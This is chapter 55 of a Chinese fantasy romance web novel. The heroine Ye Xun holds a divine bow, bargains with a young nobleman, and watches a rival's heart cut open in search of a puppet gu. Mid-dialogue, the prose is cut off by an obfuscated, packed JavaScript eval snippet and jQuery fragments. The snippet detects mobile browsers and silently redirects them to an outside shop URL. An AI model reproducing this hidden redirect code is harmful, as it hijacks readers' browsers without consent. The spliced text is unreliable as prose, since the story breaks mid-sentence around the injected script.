55. 第 55 章

作品:《我的任务到底是什么

    空中的女子白发飞扬,额间血红的印记炽烈,左手握龙珠,右手持彤弓,白虎伏在她脚畔。


    祭神台下的浮冰已化得快差不多,牧九良带了支仙船,来将那些祭者接走。


    他们将宋守竹一道扶上了船。


    摘了面具的西虞族老面面相觑,看看宋守竹,又望向半空的叶循。


    “那……那是后羿射日之弓,预言道:‘幽冥花开,祸首出,两岛散,日月失辉’,她便是幽冥之花,如今西虞与灵兽岛散,应了预言,她又手持射日之弓,这日月之辉,怕不是要失之于她手?”


    “未必吧。她可是受神恩泽才有今日,方才孟君给了她滴玉露,她才召唤出了神弓和白虎,神总不会造个魔头来将咱们赶尽杀绝。”


    “她出世时神早已陨落,无人教化,谁知她长成个什么品性。孟君又连传信给谁都忘了,或许也不记得那玉露有什么作用了。”


    “可她来珊瑚群岛也多行善举,不像罪大恶极之人。”


    “知人知面不知心,她手握神器,修为又无人可比,所有人的生死,都悬在她一念之间。”


    “依我看,先神留下这则预言,便是要警醒咱们。不论如何,都不能由她拿着神弓!”


    叶循修为又涨,耳聪目明,将他们的商讨听得一清二楚。


    她将龙珠收好,左手持弓,对着天边那轮假太阳拉动弓弦。弓弦重若千钧,她需要调动体内所有的灵力。


    风起云涌,女子白发飘扬,衣袍猎猎,眉目沉静,仿佛在做一件再寻常不过之事。


    所有人屏住了呼吸。


    谪仙御剑悬空,置身于围观的仙妖之中。他一下下在手心敲着收起的折扇,脸上竟是一派好整以暇。


    啧,他还想着要帮她,她满身灵压铺散开来,他这里都感受到一股汗毛倒竖之感,如今怕是整个珊瑚群岛加起来都不是她的对手。


    她要射日?


    大家死一块儿,谁也跑不了。


    他想象了下那个画面,竟觉得好像也可以。


    挺好的,生死有命,不用挣扎了。


    “朵……叶姑娘!”却有一个清冽的少年音从东梁岛上传出来。


    谪仙回头望了望,见是个凡人公子,白皙嫩生生的面庞,像个半大孩子。


    他的声音其实不大,但他们修行之人五感优于凡人,挂在天上的仙妖都听得到。


    叶循肯定也听到了,但她没有任何反应。


    发着红光的弓弦被她拉得张满,明明没有搭箭,还是发出一股势不可破的凛冽锐利之感。


    “叶姑娘,你要射日么?”少年的声音透着几分不安与焦急。


    叶循右手慢慢卸力,弓弦回到了原位,红光消逝,风停云散,众人这才敢重新呼吸。


    叶循转身,看向东梁岛,她看到了苑六娘牵着平安和李桑。


    他们正担忧地望着她。


    叶循视线很快划向周正安,朗声道:“周公子,咱们做一桩交易,我把这神弓给你,你帮我找人剖开他的心。”她的指尖遥遥指向仙船上的宋守竹。


    她用了灵力,声音几乎传遍整个珊瑚群岛。


    有仙妖觉得她的声音耳熟,“这声音……像不像前些日子那个寻情郎的痴情女妖?”


    “像!像!像!”


    “这不是一桩风流债吧?咱们不会为谁的情爱陪葬吧?”


    “凭什么啊?冤有头债有主,凭什么拉咱们陪葬?这死得也太不值了!”


    周正安不意叶循竟然跟他说话,见周遭无数双眼睛望过来,紧张起来。


    方才阿白从他怀中挣出,朝她飞奔而去,还变成了一只白虎。他简直觉着自己在梦中,更不愿相信她是个想杀了所有人的魔头。


    周崇文拦到儿子身前,“姑娘莫要说笑,犬子一介肉体凡胎,如何担得起照看神弓之责?”


    周正安亦道:“宋公子不是与姑娘熟识么?为何要剖开他的心?”


    叶循尚未说话,仙船上一道男音响起:“因为他对她下了傀儡蛊,能掌控她!”


    沈重挡在宋守竹身前,仰视着空中女子,“他是如今唯一能左右她的人。”


    他的声音很大,仙妖之间又在传音,东梁岛上之人也相互交头接耳。


    “他能掌控那个女魔头,那他不是咱们唯一的希望了?”


    “方才那位神尊都说了,他一直以为他就是那位神尊,才一直护着珊瑚群岛,谁知道他醒来后会做何想?说不定和那女魔头沆瀣一气,报复世界呢!”


    “不是,他早知这个预言,竟然只是对那女魔头下蛊?怎么不一早杀了她?”


    “就是,应当更早,直接去掘了她的根!那咱们怎么会有今日?”


    “果然不是真的神就是不靠谱!”


    “诶,你们说剖了他,女魔头真会交出神弓么?”


    “你傻啊,她交出来还不是能随随便便抢回去?”


    “咱们不能先拿到神弓,想办法毁了它么?”


    “那是神弓,你有办法毁?”


    “火烧、刀削、水浸、喂猪,什么办法都试试呗。”


    这时候还能想到喂猪,叶循都不知道该说他们是心态强大,还是盲目乐观。


    那些声音她全当做没听到,只问周正安:“周公子,这桩交易,你做吗?”


    “我……”周正安手足无措,不知如何回答。


    “这桩交易,我与大人做。”牧九良道。


    叶循:“我只与周公子交易。”


    许多人围着周家人七嘴八舌,银铁卫及时过去维持秩序。国师和东梁的一众大臣急匆匆赶到了周家人身旁,商量着出主意。


    这是一片茂密但比西虞小上许多的山林,一部分西虞人被安置在这里,还有许多行李堆在林外靠海的山坳上,多数人都聚集在这里。


    “周公子,我可没有多少时间等你。”叶循落到山坳上,白虎跟在她身后,人群自动让出一大片空地。


    周正安像个受惊的兔子,几个老臣说了什么,他点点头,擦了擦额头汗,看向叶循:“傀……傀儡蛊是炼制出的新蛊,即便剖开宋……宋公子的心,我们也不敢保证能……能找出母蛊。”


    “你剖你的,找不找得到,我都把神弓给你。”她随意坐在一块岩石上,背后是浩渺海面。


    “这……这……”周正安犹豫。


    背后有风声变化,叶循未回头,呼出血刃飞去,打飞了七八个人影,是偷袭她的。


    血刃飞回她手上,她用刀尖拄地,用灵力扩大自己的声音,“或者,你们可以试着一起上。”


    她顿了顿,“我是说,所有人。”


    山上山下沸反扬天的人群骤然安静了一瞬,海浪拍打着礁石,海风吹拂着她的白发,也吹拂着每个人的衣袍。


    人群中突然发出一声婴儿的啼哭,抱着婴儿的妇人一惊,吓得后退坐到地上,急急忙忙要捂孩子的嘴。


    叶循皱眉扬声,“周公子,你的军师怎么说?”


    周正安道:“你……你要答应,交出神弓后,不能抢回去。”


    叶循笑了,“你们觉得可能么?”


    几个老臣说了什么,周正安又道:“至少,三千年内,不能抢回去。”


    叶循:“三百年。”


    周正安:“一千年!”


    叶循:“三十年。”


    周正安:“五百年!”


    叶循:“三年。”


    周正安焦急擦汗,“一……一百年。”


    叶循:“三个月。”


    周正安看了看周围的老臣,嘴唇张阖,不敢再说话了。


    叶循站了起来,人群惊得后退。


    叶循慢慢迈步,“我与你们之中一些人,尚有些情谊,三个月是赠予他们的情分。”


    她走到周正安身前四五步远处停下,周围人都退出老远,就周崇文夫妻和周正安相互搀扶着站在那里,旁边还有一个面色泛青挂着黑眼圈的国师。


    她轻声开口:“傀儡蛊是林清荷炼制的,找她来,我要看着她动手。”


    *


    叶循将动手的地点选在了东梁宫中的太医院,所有太医巫医守在门外,若有什么异样,便会让他们进来处理蛊虫。


    宋守竹躺在诊台上,眉骨刚毅,鼻梁挺直,纤长细密的睫毛垂覆在脸上,像个等待王子亲吻的睡美人。


    叶循移开视线,看向正在整理器具的清荷,“你若告诉我解蛊之法,便用不着动手了。”


    清荷抬头看她,“我真不知晓,最后几种蛊虫是他加的。或者……等宋老板醒来了再问他?”


    叶循退开几步,让出位置给她,“动手罢。”


    清荷带着两个助手站到宋守竹身旁,“我给他剖心,要切开他的皮肉,再割开他的骨头,很麻烦的。叶姑娘,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319953|196244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你都打算灭世了,要不直接杀了他罢?”


    叶循面无表情,“现在不想杀,后面再说。”


    清荷叹了口气,开始动手。


    她的两个助手应当是妖,力气活都是他们来,用的器具估计也是法宝,出血量控制得很少。


    叶循无声地吐出那口憋着的气,靠在门上看着他们动作。


    宋守竹已被用了迷药,不会醒过来。


    叶循看着他紧闭的双眼,想起他昏倒前的眼神来。


    愤怒、混乱、不甘、阴鸷、迷茫、狠戾,最终都化为某种坦然的笃定,望回她的眼中。


    他一早知晓这个预言,所以接近她,找机会给她下蛊。


    那日被她摔死的那只虫子,恐怕就是傀儡蛊。


    阿兰死之前他应当就成功给她下了蛊了,所以打算离开再不见她,所以偷偷给她疗伤。


    真是可笑,为了个灭世魔头,出岛去寻朱雀翎,偷偷为她疗伤。


    叶循想,东梁岛的那些人说得对,若她是他,她也会趁早把自己的根掘了。


    宁可错杀,不可放过。


    真是可恨,骗得她团团转,害得她做了那么多救死扶伤的无用功。


    只是他的心脏被划开那一刻,她的心竟也觉得有些疼。


    她恍惚想起来,他们体内的情蛊还没解,还有两对。


    清荷动作半晌,发出一声破疑惑的“咦”来。


    叶循走过去,见他们用工具撑开他切开的心脏,里面的血液被灵力压着没有流出太多,但房室中并未见到什么蛊虫。


    叶循划开自己的手掌,挤了些血过去,“用我的血,可以把母蛊引出来。”


    她的血珠悬在他的心腔附近,几乎要融进他的血液里,但仍旧毫无动静。


    叶循用灵力压开他的血液,一寸寸查看他的心腔壁。


    “这是什么?”她看到一团如蛛网般的组织,几乎贴满了他大半颗心脏。


    清荷眉头皱起,“母蛊竟融进了他的血肉中。”


    屋中静了一瞬,叶循平淡的声音响起:“能切掉么?”


    清荷:“当然可以切,切了能不能活就不清楚了。”


    叶循:“……”


    “要切么?”清荷饶有趣味地看着她。


    叶循觉得她这个心理素质比较适合来灭世。


    “算了,缝回去罢。”


    她刚想退开,觉得手心有些痒,两颗小黑点从她手心划开的伤口飞出来。


    同时,也有两个小黑点从宋守竹的心腔里飞出来。


    应当是情蛊。


    也算是斩断了一些牵扯。


    叶循转身,从窗缝里闪身离开。


    “诶……”清荷的声音传来,她并没有停下。


    她将彤弓靠墙放在屋外,带着白虎腾空离去。


    “你可知晓素矰在哪里?”叶循问身后的白虎。


    “被神尊封在冥河底。”白虎发出低沉的男声。


    叶循停下回身看它。


    她本是随口一问,没想到它真的会说话,还真的答她。


    她摸摸它的头,“你为什么要告诉我?”


    “你是我等之主,我自当知无不言。”


    叶循:“哪怕我是要取来射日灭世?”


    白虎:“但凭主人心意。”


    叶循抠它的下巴,“可是我都没喂过你,你有什么喜欢吃的么?”


    白虎一脸不适应,还是由着她抠,低沉道:“恶鬼。”


    叶循的手一顿,她上哪儿给它找恶鬼去?


    她看了看天际的兽影,“妖兽吃么?”


    白虎:“腌臜,不吃。”


    叶循:“恶鬼很干净?”


    白虎呼呼地喷出两口气,撇过头。


    叶循被它逗笑了,“不逗你了,走吧,去幽冥。”


    一人一虎飞到屏障边,龙鳞自动解体散开一个可供他们经过的洞,他们出去后又飞速自动恢复。


    叶循想起龙珠还在自己身上,心情又有些复杂。


    算了,不管了,拿到素矰再说。


    *


    太医院内,清荷给宋守竹缝合好,终于有空拿起放在木托盘内的四只情蛊。


    四只小黑点还是茧的形状,根本没有激活。


    它们的宿主本就两心相悦。


    如水火一样对立的两人,两相思,两不知。